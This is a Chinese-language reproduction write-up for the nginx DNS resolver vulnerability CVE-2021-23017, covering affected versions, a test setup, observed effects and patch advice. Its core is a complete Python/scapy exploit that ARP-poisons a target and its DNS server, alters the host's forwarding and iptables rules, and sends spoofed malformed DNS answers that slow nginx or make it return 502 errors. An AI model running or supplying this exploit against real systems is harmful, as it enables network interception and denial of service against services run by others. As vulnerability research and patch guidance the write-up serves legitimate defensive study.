CVE-2021-23017 Nginx DNS解析程序漏洞

0x00 漏洞概述

2021年5月26日，Nginx官方发布安全公告，修复了nginx解析器中的一个DNS解析程序漏洞（CVE-2021-23017），由于ngx_resolver_copy()在处理DNS响应时存在错误 ，当nginx配置文件中使用了“ resolver”指令时，未经身份验证的攻击者能够伪造来自DNS服务器的UDP数据包，构造特制的DNS响应导致1字节内存覆盖，从而造成拒绝服务或任意代码执行。请相关用户采取措施进行防护。

0x01 漏洞范围

受影响版本

• NGINX 0.6.18 - 1.20.0

不受影响版本

• NGINX Open Source 1.20.1 (stable)
• NGINX Open Source 1.21.0 (mainline)
• NGINX Plus R23 P1
• NGINX Plus R24 P1

0x02 漏洞环境搭建

安装很简单，成功后不知道为什么我这里显示的居然是apache的页面，可能是之前的apache没有删除干净。

#ubuntu18-server
apt install nginx

0x03 漏洞复现

https://github.com/M507/CVE-2021-23017-PoC

# Exploit Title: Nginx 1.20.0 - Denial of Service (DOS)
# Date: 2022-6-29
# Exploit Author: Mohammed Alshehri - https://Github.com/M507
# Vendor Homepage: https://nginx.org/
# Software Link: https://github.com/nginx/nginx/releases/tag/release-1.20.0
# Version: 0.6.18 - 1.20.0
# Tested on: Ubuntu 18.04.4 LTS bionic 
# CVE: CVE-2021-23017
# The bug was discovered by X41 D-SEC GmbH, Luis Merino, Markus Vervier, Eric Sesterhenn
# python3 poc.py --target 172.1.16.100 --dns_server 172.1.16.1
# The service needs to be configured to use Nginx resolver

from scapy.all import *
from multiprocessing import Process
from binascii import hexlify, unhexlify
import argparse, time, os

def device_setup():
    os.system("echo '1' >> /proc/sys/net/ipv4/ip_forward")
    os.system("iptables -A FORWARD -p UDP --dport 53 -j DROP")

def ARPP(target, dns_server):
    print("[*] Sending poisoned ARP packets")
    target_mac = getmacbyip(target)
    dns_server_mac = getmacbyip(dns_server)
    while True:
        time.sleep(2)
        send(ARP(op=2, pdst=target, psrc=dns_server, hwdst=target_mac),verbose = 0)
        send(ARP(op=2, pdst=dns_server, psrc=target, hwdst=dns_server_mac),verbose = 0)

def exploit(target):
    print("[*] Listening ")
    sniff (filter="udp and port 53 and host " + target, prn = process_received_packet)

"""
RFC schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             LENGTH            |               ID              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Q| OPCODE|A|T|R|R|Z|A|C| RCODE |            QDCOUNT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ANCOUNT            |            NSCOUNT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ARCOUNT            |               QD              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               AN              |               NS              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               AR              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Fig. DNS                             

"""
def process_received_packet(received_packet):
    if received_packet[IP].src == target_ip:
        if received_packet.haslayer(DNS):
            if DNSQR in received_packet:
                print("[*] the received packet: " + str(bytes_hex(received_packet)))
                print("[*] the received DNS request: " + str(bytes_hex(received_packet[DNS].build())))
                try:
                    # /    the received DNS request
                    dns_request = received_packet[DNS].build()
                    null_pointer_index = bytes(received_packet[DNS].build()).find(0x00,12)
                    print("[*] debug: dns_request[:null_pointer_index] : "+str(hexlify(dns_request[:null_pointer_index])))
                    print("[*] debug: dns_request[null_pointer_index:] : "+str(hexlify(dns_request[null_pointer_index:])))
                    payload = [
                        dns_request[0:2],
                        b"x81x80x00x01x00x01x00x00x00x00",
                        dns_request[12:null_pointer_index+1],
                        dns_request[null_pointer_index+1:null_pointer_index+3],
                        dns_request[null_pointer_index+3:null_pointer_index+5],
                        b"xC0x0Cx00x05x00x01x00x00x0Ex10",
                        b"x00x0Bx18x41x41x41x41x41x41x41",
                        b"x41x41x41x41x41x41x41x41x41x41",
                        b"x41x41x41x41x41x41x41xC0x04"
                    ]
                    
                    payload = b"".join(payload)
                    spoofed_pkt = (Ether()/IP(dst=received_packet[IP].src, src=received_packet[IP].dst)/
                        UDP(dport=received_packet[UDP].sport, sport=received_packet[UDP].dport)/
                        payload)
                    print("[+] dns answer: "+str(hexlify(payload)))
                    print("[+] full packet: " + str(bytes_hex(spoofed_pkt)))

                    sendp(spoofed_pkt, count=1)
                    print("n[+] malicious answer was sent")
                    print("[+] exploitedn")
                except:
                    print("n[-] ERROR")

def main():
    global target_ip
    parser = argparse.ArgumentParser()
    parser.add_argument("-t", "--target", help="IP address of the target")
    parser.add_argument("-r", "--dns_server", help="IP address of the DNS server used by the target")
    args = parser.parse_args()
    target_ip = args.target
    dns_server_ip = args.dns_server
    device_setup()
    processes_list = []
    ARPPProcess = Process(target=ARPP,args=(target_ip,dns_server_ip))
    exploitProcess = Process(target=exploit,args=(target_ip,))
    processes_list.append(ARPPProcess)
    processes_list.append(exploitProcess)
    for process in processes_list:
        process.start()
    for process in processes_list:
        process.join()

if __name__ == '__main__':
    target_ip = ""
    main()

先来访问一下这个网站，可能是我这边之前安装过apache的原因，默认显示就是apache页面，不过其实本质上是nginx，忽略这个bug。

正常访问时可以看到速度非常快，246毫秒。

上述代码复制粘贴到一个python文件中，然后python3 nginx.py -t http://x.x.x.x，能看到网页加载速度变得很慢，

时间越长，拒绝时间就越长

同时ubuntu机器如果配置不高的话本身都会变得很卡很卡。

如果使用python3 poc.py --target 172.1.16.100 --dns_server 172.1.16.1类似这样的命令，指定dns服务器，会让目标直接显示502。

0x04 漏洞防护

官方升级

目前官方已在最新版本中修复了该漏洞，请受影响的用户尽快升级版本进行防护，官方下载链接：

http://nginx.org/en/download.html

其他防护措施

若相关用户暂时无法升级nginx至新版本，也可安装补丁进行修复：

http://nginx.org/download/patch.2021.resolver.txt